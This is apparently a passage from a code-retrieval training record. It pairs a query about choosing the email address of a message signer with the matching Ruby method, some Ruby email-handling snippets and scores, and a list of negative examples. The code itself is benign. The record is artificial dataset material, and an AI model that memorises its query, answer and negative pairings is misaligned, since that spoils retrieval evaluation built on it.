"def email(text_array)\n email = nil\n text_array.each do |t|\n if t.match(/.{1,}[@].{1,}[.].{1,}/)\n email = t\n end\n end\n return email\nend",
"def recipients(sender)\n participants.reject { |p| p.id == sender.id }\n end",
"def substitutions(emails)\n # Stop now if no substitutions are defined\n subs = config[:sub]\n return emails if subs.nil? || subs.empty?\n emails.map do |email|\n # Apply substitutions to and return a copy of the email\n email_sub = email.slice(0..-1)\n subs.each { |sub| email_sub.gsub!(sub[0], sub[1]) }\n email_sub\n end\n end",
"def setup_recipients( email )\r\n if RAILS_ENV == 'production'\r\n return email\r\n else\r\n return AppConfig.DEBUG_EMAIL_ADDRESS\r\n end\r\n end"
] |
[
"0.7336624",
"0.7215735",
"0.7149188",
"0.70851874",
"0.7072927",
"0.70481575",
"0.7017761",
"0.7013778",
"0.6957835",
"0.69124275",
"0.6892243",
"0.6887032",
"0.6838883",
"0.68354833",
"0.680716",
"0.68064696",
"0.67985475",
"0.67819834",
"0.67250377",
"0.67250377",
"0.67092246",
"0.67049706",
"0.66900414",
"0.6675087",
"0.6665863",
"0.6648241",
"0.6646317",
"0.66150904",
"0.6612709",
"0.6606349",
"0.6592087",
"0.65834135",
"0.6575106",
"0.65723616",
"0.6553539",
"0.65312624",
"0.65123796",
"0.65021414",
"0.64960134",
"0.6494189",
"0.6494142",
"0.6488883",
"0.64795125",
"0.64675546",
"0.6466272",
"0.64646864",
"0.6441187",
"0.63697857",
"0.63613886",
"0.6359204",
"0.63449454",
"0.6332447",
"0.6328193",
"0.6299291",
"0.62913847",
"0.6272077",
"0.6264376",
"0.6262155",
"0.62491643",
"0.6229325",
"0.6223412",
"0.62149745",
"0.62125033",
"0.62096226",
"0.62007457",
"0.61933345",
"0.6183429",
"0.61829686",
"0.61716634",
"0.6167669",
"0.61527026",
"0.61512375",
"0.6149628",
"0.6136416",
"0.6134988",
"0.61320233",
"0.6125928",
"0.6125566",
"0.6113963",
"0.61100394",
"0.60731804",
"0.6068271",
"0.6064102",
"0.60630566",
"0.6057392",
"0.6055107",
"0.60438406",
"0.6042997",
"0.6037216",
"0.6026577",
"0.60033596",
"0.5995415",
"0.59885347",
"0.59856415",
"0.5981044",
"0.5981044",
"0.59696835",
"0.5963713",
"0.5959275",
"0.5959094"
] |
0.6424487
|
47
|
Detects email which should be used to find a message signer key. Basically, it is taken from the message +From:+ field, but may be overwritten by +:signer+ adapter option.
|
def find_signer_for(message)
options[:signer] || message.from_addrs.first
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def sender_email\n msg['from_email'] || msg['sender'] || entry['sender'] || reject['sender']\n end",
"def from_email\n AppConfig[:pui_request_email_fallback_from_address]\n end",
"def mail_from\n if @yaml[\"mail\"][\"from\"] != \"example@example.com\"\n return @yaml[\"mail\"][\"from\"]\n end\n end",
"def email_service\n self.email_service = self.email.match(/\\A\\w+\\.?\\w*\\@{1}([a-z]+)\\.{1}[a-z]+\\z/).to_a[1]\n end",
"def email_key\n \"zDMSATq0W3hmA5p3rKTgD\"\n end",
"def smtp_envelope_from( val = nil )\n if val\n self.smtp_envelope_from = val\n else\n @smtp_envelope_from || return_path || sender || from_addrs.first\n end\n end",
"def email_token\n recipient = mail.recipients.find { |r| MATCHER.match?(r) }\n recipient[MATCHER, 1]\n end",
"def email_address\n authentications.emails.active.first.uid rescue nil\n end",
"def email_from\n case self.type\n when 'test'\n \"milo.thurston@oerc.ox.ac.uk\"\n when 'left','sdm','lcc','cde'\n \"neil.caithness@oerc.ox.ac.uk\"\n else\n \"noreply.oboe@oerc.ox.ac.uk\"\n end\n end",
"def email\n if md = RE_EMAIL.match(contact.to_s)\n md[0]\n else\n nil\n end\n end",
"def email\n match(/Email\\s+:\\s+([^\\s]+)/)\n end",
"def get_email_recipient\n user == chat.sender ? chat.recipient : chat.sender\n end",
"def user_email\n msg['email'] || entry['email'] || reject['email']\n end",
"def from_email\n EmailAddress.find(:all).first\n end",
"def setup_recipients( email )\r\n if RAILS_ENV == 'production'\r\n return email\r\n else\r\n return AppConfig.DEBUG_EMAIL_ADDRESS\r\n end\r\n end",
"def recipient_param\n params.require(:mail).fetch(:recipient, nil)\n end",
"def sender\n ENV['NOTIFICATION_FROM_EMAIL'] || 'noreply@some.gov'\n end",
"def email?\n message_type&.to_sym == :email\n end",
"def find_email(opts)\n find_emails(opts).first\n end",
"def determine_email\n return email[-7..-1] == \"uga.edu\" # this should be a constant\n end",
"def match_signature(signature)\n if !signature[:ok]\n msg_mismatch(text)\n elsif expected_signer && signature[:email] != expected_signer\n msg_wrong_signer(signature[:email])\n end\n end",
"def safe_mail_from\n name = self.mail.from_name_if_present\n if name.nil?\n return nil\n end\n name = name.dup\n self.info_request.apply_censor_rules_to_text!(name)\n return name\n end",
"def from_email_obscured\n return \"\" if from_email.blank?\n\n sender_parts = from_email.split(\"@\")\n if sender_parts.size > 1\n person_name = sender_parts.first\n if person_name.length > 2\n return \"#{person_name[0..(person_name.length - 3)]}..@#{sender_parts.last}\"\n else\n return \"..@#{sender_parts.last}\"\n end\n end\n\n \"\"\n end",
"def primary_email\n if self[\"gd$email\"]\n _email = self[\"gd$email\"].find { |e| e.primary == \"true\" }\n _email ? _email.address : nil\n else\n nil # no emails at all\n end\n end",
"def process_mail_from params\n # Requiring TLS is touchy, cf RFC2784.\n # Requiring AUTH seems to be much more reasonable.\n #if (options[:starttls] == :required and !@state.include?(:starttls))\n # reply 550, \"This server requires STARTTLS before MAIL FROM\"\n #elsif (options[:auth] == :required and !@state.include?(:auth))\n # reply 550, \"This server requires authentication before MAIL FROM\"\n if @state.include?(:mail_from)\n reply 503, \"Sender already given\"\n return\n end\n \n if params.nil?\n reply 501, \"Syntax: MAIL FROM:<address>\"\n return\n end\n \n reverse_path, mail_parameters = params.split(' ', 2)\n if reverse_path !~ /@|<>/ # valid email or empty sender (<>)\n reply 501, \"Syntax: MAIL FROM:<address>\"\n # RET=[FULL|HDRS], ENVID=, BODY=[8BITMIME|7BIT]\n elsif !receive_sender(unbracket(reverse_path))\n reply 550, \"sender is unacceptable\"\n else\n reply 250, \"Ok\"\n @state << :mail_from\n end\n end",
"def default_email_address_header\n default_email_address.nil? ? original_email_address_header : default_email_address.to_header\n end",
"def recipient_email\n return @recipient_email\n end",
"def recipient_email\n return @recipient_email\n end",
"def email_address\n raw_info['email_addresses'] && raw_info['email_addresses'].first\n end",
"def parser_email(line)\n if line.include? MailHeader.from\n fields=line.split(MailHeader.key_separator)\n if fields.length>1\n\t\t\t\tvalue=fields[1].split(\" \")\n if value.length>1\n firstname_lastname=value[0];\n email_address=value[1].gsub(/[<>]/,'')\n company_url=\"www.\"+email_address.split('@')[1];\n # if the email address is not contains the '@',the address is not correct\n unless email_address.include? \"@\"\n mail_header_output.firstname_lastname=MailHeader.unknown\n mail_header_output.flastname=MailHeader.unknown\n end\n mail_header_output.company_url=company_url\n check_firstname_lastname(email_address)\n check_flastname(email_address)\n check_email_name_conflict()\n end #end value.length\n end #end fields.length\n end #end line include\n end",
"def smtp_envelope_from=( val )\n @smtp_envelope_from = val\n end",
"def user_recipients\n @user_recipients ||= begin\n [recipients].flatten.compact.map do |identifier|\n identifier = clean_identifier(identifier)\n if system_identifiers.include?(identifier)\n identifier\n else\n key = user_keys[identifier]\n if key\n # will log a warning and return nil if the import fails\n import_key(identifier, key)\n else\n Logger.warn \\\n \"No public key was found in #keys for '#{identifier}'\"\n nil\n end\n end\n end.compact\n end\n end",
"def mail_root\n match_data = email.match(/(..*)*@/)\n match_data[1]\n end",
"def mail_root\n match_data = email.match(/(..*)*@/)\n match_data[1]\n end",
"def text_message_default_sender\n current_params.fetch(:from)\n end",
"def mailer_to\n resolve_value(_notification_email)\n end",
"def ezm_sender_or_receiver_label\r\n if session[:mail_box] == \"outbox\"\r\n \"Recipient\"\r\n # Used for both inbox and trashbin\r\n else\r\n \"Sender\"\r\n end\r\n end",
"def contact_email\n\t\treturn get_configuration['sa_contact_email']\n\tend",
"def parse_name(email)\n email.scan(/From: \\\"(.*)\\\"/).flatten.first || email.scan(/From: (.*) \\</).flatten.first\n end",
"def email_address\n self.dig_for_string(\"agentSummary\", \"emailAddress\")\n end",
"def from_address\n site.email_from_address || site.support_email\n end",
"def asymmetric_options\n if user_recipients.empty?\n Logger.warn \"No recipients available for asymmetric encryption.\"\n nil\n else\n # skip trust database checks\n \"-e --trust-model always \" +\n user_recipients.map { |r| \"-r '#{r}'\" }.join(\" \")\n end\n end",
"def decode_of_mail( em, type_str = \"subject\")\n if type_str == \"subject\" || type_str == \"sender_rec_name\"\n return nil if type_str == \"sender_rec_name\" && em.from[0].name.blank?\n\n match_str = /(=\\?[a-zA-Z0-9\\-]+)(\\?[B|Q]\\?)([a-zA-Z-0-9\\/=]+)/\n em.subject.scan(match_str) if type_str == \"subject\"\n em.from[0].name.scan(match_str) if type_str == \"sender_rec_name\"\n\n # TODO: implementing Q decode\n return Base64.decode64($3).force_encoding($1.gsub(/=\\?/,\"\")).encode(\"utf-8\") unless $1.blank?\n if $1.blank?\n return em.subject if type_str == \"subject\"\n return em.from[0].name if type_str == \"sender_rec_name\"\n end\n\n else\n unless em.text_part.blank?\n body_of_mail = em.text_part.body\n if body_of_mail.encoding == \"base64\"\n ch_set = em.text_part.charset\n encoded_str = body_of_mail.encoded.gsub(/\\r\\n/,\"\")\n return Base64.decode64(encoded_str).force_encoding(ch_set).encode(\"utf-8\").gsub(/\\r\\n/,\"\")\n else\n return body_of_mail.encoded.to_s\n # return em.parts[1].body\n end\n end\n end\n end",
"def sender_email_to_title_and_name\n known_emails = [Notifier.help_email, Notifier.search_filter_email, Notifier.message_email, Notifier.signup_email,\n Notifier.newsletter_email, Notifier.admin_email, Notifier.contact_email, Notifier.info_email,\n Notifier.feedback_email, Notifier.press_email].map {|m| Notifier.unprettify(m)}\n if known_emails.include?(self.sender_email)\n \"kann-ich-klagen.de\"\n elsif ps = Person.find_by_email(self.sender_email)\n ps.title_and_name\n else\n self.sender_email\n end\n end",
"def parse_mail_from( data )\n mailfrom, esmtp_info = data.split(\"\\0\", 2 )\n return [mailfrom, esmtp_info.split(\"\\0\")]\n end",
"def email_match?\n (!self.sender_email && self.sender?) || (self.sender_email && self.sender && self.sender_email == self.sender.email)\n end",
"def recipient_emails\n recipients.map(&:first)\n end",
"def email_attributes(mail)\n if mail['ar_mailer_settings']\n ar_settings = JSON.parse(mail['ar_mailer_settings'].value).stringify_keys\n mail['ar_mailer_settings'] = nil\n else\n ar_settings = {}\n end\n\n email_options = {}\n email_options[:delivery_time] = ar_settings.delete('delivery_time')\n email_options[:smtp_settings] = smtp_settings(ar_settings)\n email_options[:mail] = mail.encoded\n email_options[:from] = (mail['return-path'] && mail['return-path'].spec) || mail.from.first\n email_options.reverse_merge!(ar_settings['custom_attributes'] || {})\n end",
"def identifier\n name.presence || email.split('@').join(' from ')\n end",
"def email\n @email ||= select { |type,value| type == :email }.map do |(type,value)|\n value\n end\n end",
"def sender_address\n case from\n when Hash; Hash[*from.first] if from.size > 1\n when Array; from.first if from.size > 1\n end\n end",
"def process_mail_from sender\n if (@@parms[:starttls]==:required and !@state.include?(:starttls))\n send_data \"550 This server requires STARTTLS before MAIL FROM\\r\\n\"\n elsif (@@parms[:auth]==:required and !@state.include?(:auth))\n send_data \"550 This server requires authentication before MAIL FROM\\r\\n\"\n elsif @state.include?(:mail_from)\n send_data \"503 MAIL already given\\r\\n\"\n else\n unless receive_sender sender\n send_data \"550 sender is unacceptable\\r\\n\"\n else\n send_data \"250 Ok\\r\\n\"\n @state << :mail_from\n end\n end\n end",
"def email\n multi_email.primary_email_record.try(:email)\n end",
"def test_not_signed\n mail = Notifier.fufu(\"<destination@foobar.com>\", \"<demo@foobar.com>\")\n\n found = false\n for part in mail.parts do\n puts part.content_type\n if part.content_type =~ /application\\/x-pkcs7-signature/\n found = true\n break\n end\n end\n assert_equal found, false\n end",
"def email\n # logger.debug2 \"email = #{read_attribute(:email)} (#{read_attribute(:email).class.name})\"\n share_account_id = new_encrypt_pk unless share_account_id\n return nil unless (extended_email = read_attribute(:email))\n encrypt_remove_pre_and_postfix(extended_email, 'email', 49)\n end",
"def email_params\n params.require(:email).\n permit(:to, :subject, :body).\n merge(from: @user.to_s.downcase).tap do |params|\n params[:to] = params[:to].downcase\n end\n end",
"def getEmailDefaults(subject, toEmail, ccEmail = nil)\n if Rails.env.eql? 'development'\n subject = \"[BASL-DEV] #{subject}\"\n toEmail = 'paigepon@gmail.com'\n ccEmail = toEmail\n else\n subject = \"[BASL] #{subject}\"\n end\n mailInfo = {\n :to => toEmail,\n :subject => subject,\n :cc => ccEmail\n }\n mailInfo\n end",
"def suppressed_email\n @attributes[:suppressed_email]\n end",
"def match_email( val )\n\t\tmatch = RFC822_EMAIL_ADDRESS.match( val )\n\t\tself.log.debug \"Validating an email address %p: %p\" %\n\t\t\t[ val, match ]\n\t\treturn match ? match[0] : nil\n\tend",
"def extract\n _, *ret = *self.match(/\\A([^\\s!]+)(?:!([^\\s@]+)@(\\S+))?\\z/)\n ret\n end",
"def mail_from_project_sender\n sender = if @issue\n p = @issue.project\n s = CustomField.find_by_name('project-sender-email')\n p.custom_value_for(s).try(:value) if p.present? && s.present?\n end\n (sender.present? && sender) || Setting.mail_from\n end",
"def guess_email\n @guessed_email ||= begin\n e = `git config user.email`.strip\n # TODO: Guess based on hg and other possibile tools\n raise UnknownEmail, \"Email could not be obtained via git settings\" if e.empty?\n e\n end\n end",
"def casein_config_email_from_address\n\t\t'donotreply@caseincms.com'\n\tend",
"def email(email, direction = :push)\n if direction == :push\n # any whitespace will cause netsuite to throw a fatal error\n email = email.gsub(' ', '')\n\n # TODO consider throwing an exception instead of returning nil?\n # netsuite will throw a fatal error if a valid email address is not sent\n # http://stackoverflow.com/questions/742451/what-is-the-simplest-regular-expression-to-validate-emails-to-not-accept-them-bl\n if email !~ /.+@.+\\..+/\n return nil\n end\n\n email = email.\n # an error will be thrown if period is on the end of a sentence\n gsub(/[^A-Za-z]+$/, '').\n # any commas in the email with throw an error\n gsub(',', '').\n # double periods anywhere in the email cause issues\n gsub('..', '.').\n # a period before the @ seems to cause issues\n gsub('.@', '@').\n # backslashes in an email cause issues\n gsub(\"\\\\\", '')\n\n while email.count('@') > 1\n email.sub!('@', '')\n end\n\n if email.split('@').last.include?('&')\n pieces = email.split('@')\n first, last = pieces.first, pieces.last\n last = last.sub('&', '')\n email = [first, last].join('@')\n end\n\n email\n else\n email\n end\n end",
"def default_sender_address\n address = Mail::Address.new(Gitlab.config.gitlab.email_from)\n address.display_name = \"GitLab\"\n address\n end",
"def email_address\n element_with_value('EMailAddress', opts[:email_address].to_s[0..50])\n end",
"def email_from_infos\n user_infos.map(&:email).try(:first)\n end",
"def extract_email_address(email)\n # Check for <@> pattern and extract\n result = email[/<.+@.+>/]\n if result.nil?\n # If not found, return original email address for further validation\n return email\n else\n # If found return address minus the <> and leading/trailing spaces\n return result.gsub(/[<>]/,'<' => '', '>' => '').strip\n end\n end",
"def available_email?(email)\n Rails.configuration.available_email_domains.include? email.split('@').last\n end",
"def parse_email(s)\n e = Mail::Address.new(s)\n (s == '' || e.address != s || e.local == e.address) ? nil : e\nend",
"def mailboxer_email(obj=nil)\n return nil\n end",
"def email_addresses_with_details(only_validated = false)\n\t\t# {'email@address'=>{:name=>'member name'},...}\n\t\t{}\n\tend",
"def ezm_sender_or_receiver(message)\r\n if session[:mail_box] == \"outbox\"\r\n message.receiver_name\r\n # Used for both inbox and trashbin\r\n else\r\n message.sender_name\r\n end\r\n end",
"def sandbox_email_address; end",
"def sandbox_email_address; end",
"def receiver_email\n nil\n end",
"def format\n options['format'] || :email\n end",
"def mailfrom(from_addr); end",
"def check_recipient_or_email\n has_error = false\n\n unless user_recipients.present?\n if recipient_emails.present?\n recipient_emails.each do |e|\n errors.add(:user_recipients, I18n.t(\"activerecord.errors.models.recognition.not_properly_formatted\", e: e)) unless e.match(Constants::EMAIL_REGEX)\n end\n else\n errors.add(:sender_name, I18n.t('activerecord.errors.models.recognition.recipient_or_email'))\n end\n end\n\n end",
"def find_emails(opts)\n emails.reverse.select do |email|\n email.to.include?(opts[:to]) || email.subject == opts[:subject]\n end\n end",
"def mailboxer_email(object)\n return email\n end",
"def receiver_email\n nil\n end",
"def me_user_email\n email = Email.find_primary(me).take if auth?\n email.email || ''\n end",
"def e_email_keys\n '{root_url} => site url, {date} => order date, {number} => order number, {name} => client first name, {full_name}, {order_table} => table of products of the order, {shipping_name} => shipping method name, {tracking_url} => the url of tracking, {shipping_info} => Shipping info, {billing_info} => Billing info, {invoice_number} => Sequential Invoice Number, {url} => Order Url'\n end",
"def from\n address = @mail[:from].formatted\n Mail::Address.new(address.first)\n end",
"def email_match?\n (!self.sender_email && !!self.person) || (self.sender_email && self.person && self.sender_email == self.person.email)\n end",
"def email\n query_params&.dig(:email)\n end",
"def office_email_address\n self.dig_for_string(\"agentSummary\", \"office\", \"emailAddress\")\n end",
"def test_signed\n mail = Notifier.fufu_signed(\"<destination@foobar.com>\", \"<demo@foobar.com>\")\n\n assert_equal mail.delivery_method.settings[:address], 'smtp.com'\n assert_equal mail.from, [ \"demo@foobar.com\" ]\n\n found = false\n for part in mail.parts do\n if part.content_type =~ /application\\/x-pkcs7-signature/\n found = true\n break\n end\n end\n assert_equal found, true\n\n require 'tempfile'\n\n tf = Tempfile.new('actionmailer_x509')\n tf.write mail.encoded\n tf.flush\n\n comm = \"openssl smime -verify -in #{tf.path} -CAfile #{File.dirname(__FILE__)}/../lib/certs/ca.crt 2>&1\"\n\n success = false\n output = IO.popen(comm)\n while output.gets do\n if $_ =~ /^Verification successful/\n success = true\n end\n end\n assert_equal(success, true)\n end",
"def email\n find_by_type('email')\n end",
"def determine_mail_from_for_event(event, from_user=nil)\n determine_mail_from_for_team(event.team, from_user)\n end",
"def hf_email_opts\n return options_for_select(@email_enum, @agg)\n end",
"def match_by_email\n true\n end",
"def emails_to_hash(emails)\n {\n :primary => emails.find { |email| email.primary }.email,\n :additional => emails.select { |email| !email.primary && email.verified}.map { |email| email.email }\n }\nend",
"def my_parse_recipients(mail)\n %W(to cc bcc).inject({}) do |acc, header|\n acc[header] = [mail.header[header]].flatten.collect {|address| address.to_s}\n acc\n end\n end",
"def protected?\n @data[:client_address] !~ /^(127\\.0\\.0\\.1|::1)$/ && # exclude local emails\n $recipients.keys.include?(@data[:recipient])\n end",
"def email\n return unless @user.loa3?\n\n value_for('emails')&.first\n end",
"def email_params\n params.require(:email).permit(:question, :listener_id, :questioner_id, :sender_ids => [])\n end",
"def recipient_email=(value)\n @recipient_email = value\n end",
"def recipient_email=(value)\n @recipient_email = value\n end"
] |
[
"0.6344786",
"0.6035565",
"0.59352106",
"0.5764179",
"0.5728069",
"0.56504536",
"0.5629755",
"0.5609708",
"0.54774934",
"0.5453946",
"0.5441865",
"0.54181695",
"0.5406117",
"0.54011726",
"0.5400863",
"0.53920156",
"0.53900605",
"0.5389332",
"0.5374156",
"0.5355137",
"0.5343855",
"0.5333402",
"0.52948296",
"0.52794164",
"0.5248454",
"0.5224908",
"0.52225965",
"0.52225965",
"0.5208919",
"0.51964855",
"0.5193526",
"0.5170859",
"0.5168215",
"0.5167824",
"0.51640713",
"0.5147134",
"0.51428616",
"0.5137693",
"0.51360786",
"0.5135268",
"0.5105498",
"0.5104477",
"0.5099887",
"0.5071672",
"0.50680846",
"0.50680804",
"0.5067659",
"0.50645185",
"0.50629497",
"0.50360984",
"0.5026014",
"0.5014444",
"0.50120693",
"0.50079393",
"0.50060326",
"0.49966112",
"0.49789348",
"0.4976096",
"0.4975006",
"0.4974315",
"0.4964053",
"0.49608612",
"0.49556085",
"0.49549648",
"0.4953969",
"0.4947842",
"0.49455875",
"0.4945234",
"0.4944122",
"0.49355745",
"0.4927741",
"0.4918292",
"0.4917057",
"0.49119374",
"0.49119374",
"0.49071318",
"0.4903152",
"0.4901763",
"0.49010885",
"0.48998204",
"0.48996696",
"0.48961675",
"0.48960704",
"0.48909295",
"0.48782158",
"0.48759726",
"0.4871468",
"0.4868494",
"0.4866358",
"0.48621014",
"0.4848903",
"0.4837932",
"0.48358813",
"0.48325834",
"0.48312277",
"0.48273304",
"0.48241544",
"0.4820229",
"0.48078027",
"0.48078027"
] |
0.69793427
|
0
|
Replaces a message body. Clears all the existing body, be it multipart or not, and then appends parts passed as an argument.
|
def rewrite_body(message, content_type:, parts: [])
message.body = nil
message.content_type = content_type
parts.each { |p| message.add_part(p) }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def replace_in_pure_html_message(new_part)\n if new_part.content_type.include?('text/html')\n message.body = new_part.decoded\n message.content_type = new_part.content_type\n else\n message.body = nil\n message.content_type = new_part.content_type\n new_part.parts.each do |part|\n message.add_part(part)\n end\n end\n end",
"def multipart_body(body, parts, boundary, mtype, filesize)\n lambda do |socket|\n begin\n begin\n first = parts.shift\n last = parts.shift\n socket.write(\n \"--#{boundary}#{CRLF}\" \\\n \"Content-Type: #{mtype}#{CRLF}\" \\\n \"Content-Range: bytes #{first}-#{last}/#{filesize}#{CRLF}\" \\\n \"#{CRLF}\"\n )\n\n begin\n IO.copy_stream(body, socket, last - first + 1, first)\n rescue NotImplementedError\n body.seek(first, IO::SEEK_SET)\n IO.copy_stream(body, socket, last - first + 1)\n end\n socket.write(CRLF)\n end while parts[0]\n socket.write(\"--#{boundary}--#{CRLF}\")\n ensure\n body.close\n end\n end\n end",
"def assign_body_parts(body)\n body.parts.each do |part|\n if part.multipart?\n assign_body_parts(part)\n else\n @body[part.header[\"content-type\"].sub_type] = part.body if \n part.header[\"content-type\"].main_type == \"text\"\n end #if\n end #do\n end",
"def body_to_part(message)\n part = ::Mail::Part.new\n part.content_type = message.content_type\n if message.multipart?\n message.body.parts.each { |p| part.add_part duplicate_part(p) }\n else\n part.body = message.body.decoded\n end\n part\n end",
"def my_alter_email_body!(mail, string)\n return my_alter_multipart_email!(mail, string) if mail.multipart?\n \n current_body = mail.body\n mail.body = current_body.to_s + \"\\n#{string}\"\n end",
"def add_multipart_body(parts)\n body = []\n body << \"--#{BOUNDARY}\\r\\n\"\n parts.each do |property, value|\n body << \"Content-Disposition: form-data; name=\\\"#{property}\\\"\\r\\n\\r\\n#{value}\"\n body << \"\\r\\n--#{BOUNDARY}\\r\\n\"\n end\n @body = body.join\n @headers[\"Content-Type\"] = \"multipart/form-data; boundary=#{BOUNDARY}\"\n end",
"def set_body\n self.body = \"\" unless body\n body\n end",
"def set_body\n self.body = \"\" unless body\n body\n end",
"def set_body\n self.body = \"\" unless self.body\n end",
"def parse_multipart_alternative raw_body\n\n # Use the boundary to split up each part of the email\n boundary = get_boundary(@headers[\"Content-Type\"])\n bodies = raw_body.split(boundary + \"\\n\")[1..-1].map { |body|\n\n # Lather, rinse, repeat: get the content and bodies of each part, then parse\n body_content_type = body.split(\"Content-Type: \", 2).last.split(\";\", 2).first\n body = body.split(/\\n\\n/, 2).last.gsub(/#{boundary}--/, \"\")\n parse_body(body_content_type, body)\n }.flatten\n end",
"def parse_multipart_alternative raw_body\n\n\t\t# Use the boundary to split up each part of the email\n\t\tboundary = get_boundary(@headers[\"Content-Type\"])\n\t\tbodies = raw_body.split(boundary + \"\\n\")[1..-1].map { |body|\n\n\t\t\t# Lather, rinse, repeat: get the content and bodies of each part, then parse\n\t\t\tbody_content_type = body.split(\"Content-Type: \", 2).last.split(\";\", 2).first\n\t\t\tbody = body.split(/\\n\\n/, 2).last.gsub(/#{boundary}--/, \"\")\n\t\t\tparse_body(body_content_type, body)\n\t\t}.flatten\n\tend",
"def apply!(mail)\n mail.subject = redact(mail.subject)\n\n if mail.multipart?\n mail.parts.each do |part|\n part.body = redact(part.body)\n end\n else\n mail.body = redact(mail.body)\n end\n end",
"def process_message_body\n @attachments = []\n if @mail.multipart?\n @body, @html = [], []\n scan_parts(@mail)\n @body = @body.join(\"\\n\")\n @html = @html.join(\"\\n\")\n else\n if @mail.content_type =~ /text\\/html/\n @html = @mail.body.to_s\n @body = ''\n else\n @body = @mail.body.to_s\n @html = ''\n end\n end\n\n @body = convert_to_utf8(@body)\n @html = convert_to_utf8(@html)\n end",
"def add_part(part)\n if !body.multipart? && !self.body.decoded.blank?\n @text_part = Mail::Part.new('Content-Type: text/plain;')\n @text_part.body = body.decoded\n self.body << @text_part\n add_multipart_alternate_header\n end\n add_boundary\n self.body << part\n end",
"def set_body\n self.body = message_body\n end",
"def update!(**args)\n @body = args[:body] unless args[:body].nil?\n @filename = args[:filename] unless args[:filename].nil?\n @headers = args[:headers] unless args[:headers].nil?\n @mime_type = args[:mime_type] unless args[:mime_type].nil?\n @part_id = args[:part_id] unless args[:part_id].nil?\n @parts = args[:parts] unless args[:parts].nil?\n end",
"def render_multipart(method_name, body)\n if Setting.plain_text_mail?\n content_type \"text/plain\"\n body render(:file => \"#{method_name}.text.plain.rhtml\", :body => body, :layout => 'mailer.text.erb')\n else\n content_type \"multipart/alternative\"\n part :content_type => \"text/plain\", :body => render(:file => \"#{method_name}.text.plain.rhtml\", :body => body, :layout => 'mailer.text.erb')\n part :content_type => \"text/html\", :body => render_message(\"#{method_name}.text.html.rhtml\", body)\n end\n end",
"def body=(newval)\n if self[:body] != newval\n # changed\n self[:body] = newval\n end\n self[:body]\n end",
"def flatten(message, parts)\n parts.each do |part|\n if part.multipart?\n flatten(message, part.parts)\n else\n message.parts << part\n end\n end\n message\n end",
"def body(body)\n append(Body.new(body))\n end",
"def cleanup_body(body)\n delimiters = Setting.mail_handler_body_delimiters.to_s.split(/[\\r\\n]+/).reject(&:blank?).map {|s| Regexp.escape(s)}\n unless delimiters.empty?\n regex = Regexp.new(\"^[> ]*(#{ delimiters.join('|') })\\s*[\\r\\n].*\", Regexp::MULTILINE)\n body = body.gsub(regex, '')\n end\n body.strip\n end",
"def compose_multipart_params(new_param_hash)\n # here we check if the encoded segments contain the boundary and should generate a new one\n # if something is matched\n boundary = \"----------#{generate_boundary}\"\n self['REQUEST_METHOD'] = 'POST'\n self['CONTENT_TYPE'] = \"multipart/form-data; boundary=#{boundary}\"\n @body = StringIO.new(multipart_build(new_param_hash, boundary))\n end",
"def body_lazy(value)\n process_body_raw if @body_raw && value\n case\n when value == nil || value.length<=0\n @body = Mail::Body.new('')\n @body_raw = nil\n add_encoding_to_body\n when @body && @body.multipart?\n @body << Mail::Part.new(value)\n add_encoding_to_body\n else\n @body_raw = value\n# process_body_raw\n end\n end",
"def update!(**args)\n @body = args[:body] if args.key?(:body)\n end",
"def update!(**args)\n @body = args[:body] if args.key?(:body)\n end",
"def clear_body; end",
"def send_body\n\t\t\tif @content\n\t\t\t\tsend_content\n\t\t\telsif @chunks\n\t\t\t\tsend_chunks\n\t\t\telsif @multiparts\n\t\t\t\tsend_multiparts\n\t\t\telse\n\t\t\t\t@content = \"\"\n\t\t\t\tsend_content\n\t\t\tend\n\t\tend",
"def body=(new_body)\n attributes[:body] = new_body\n end",
"def initialize(headers, body)\n content_type = headers['Content-Type']\n boundary = content_type.parameters['boundary']\n\n if boundary.nil?\n raise Malformed.new(\"Expected multipart Content-Type header to contain 'boundary' parameter\",\n 1)\n else\n @boundary = boundary.parsed_value\n boundary_tween = Regexp.new(\"--#{Regexp.escape(@boundary)}\\s*\\r\\n$\")\n boundary_last = Regexp.new(\"--#{Regexp.escape(@boundary)}--\\s*\\r\\n$\")\n end\n\n parts = []\n @preamble = []\n part_lines = []\n @epilogue = []\n state = :preamble\n\n body.each do |line|\n case state\n when :preamble\n if line =~ boundary_tween\n state = :part\n else\n @preamble << line\n end\n\n when :part\n if line =~ boundary_tween\n part_lines.last.gsub!(/[\\r\\n]+$/, '') # swallow CRLF before boundary marker\n part_lines.pop if part_lines.last.empty? # get rid of extra newline if it was present\n parts << MIME::Message.parse(part_lines, false)\n part_lines = []\n elsif line =~ boundary_last\n part_lines.last.gsub!(/[\\r\\n]+$/, '') # swallow CRLF before boundary marker\n part_lines.pop if part_lines.last.empty? # get rid of extra newline if it was present\n parts << MIME::Message.parse(part_lines, false)\n part_lines = []\n state = :epilogue\n else\n part_lines << line\n end\n\n when :epilogue\n @epilogue << line\n end\n end\n\n # Handle messages that have no epilogue\n unless part_lines.empty?\n parts << MIME::Message.parse(part_lines, false)\n end\n\n super(headers, parts)\n end",
"def update!(**args)\n @body = args[:body] if args.key?(:body)\n @body_format = args[:body_format] if args.key?(:body_format)\n @customized = args[:customized] if args.key?(:customized)\n @reply_to = args[:reply_to] if args.key?(:reply_to)\n @sender_display_name = args[:sender_display_name] if args.key?(:sender_display_name)\n @sender_local_part = args[:sender_local_part] if args.key?(:sender_local_part)\n @subject = args[:subject] if args.key?(:subject)\n end",
"def condense(message)\n if message.multipart? && message.parts.any?(&:multipart?)\n # Get the message parts as a flat array.\n result = flatten(Mail.new, message.parts.dup)\n\n # Rebuild the message's parts.\n message.parts.clear\n\n # Merge non-attachments with the same content type.\n (result.parts - result.attachments).group_by(&:content_type).each do |content_type,group|\n body = group.map{|part| part.body.decoded}.join\n\n # Make content types match across all APIs.\n if content_type == 'text/plain; charset=us-ascii'\n # `text/plain; charset=us-ascii` is the default content type.\n content_type = 'text/plain'\n elsif content_type == 'text/html; charset=us-ascii'\n content_type = 'text/html; charset=UTF-8'\n body = body.encode('UTF-8') if body.respond_to?(:encode)\n end\n\n message.parts << Mail::Part.new({\n :content_type => content_type,\n :body => body,\n })\n end\n\n # Add attachments last.\n result.attachments.each do |part|\n message.parts << part\n end\n end\n\n message\n end",
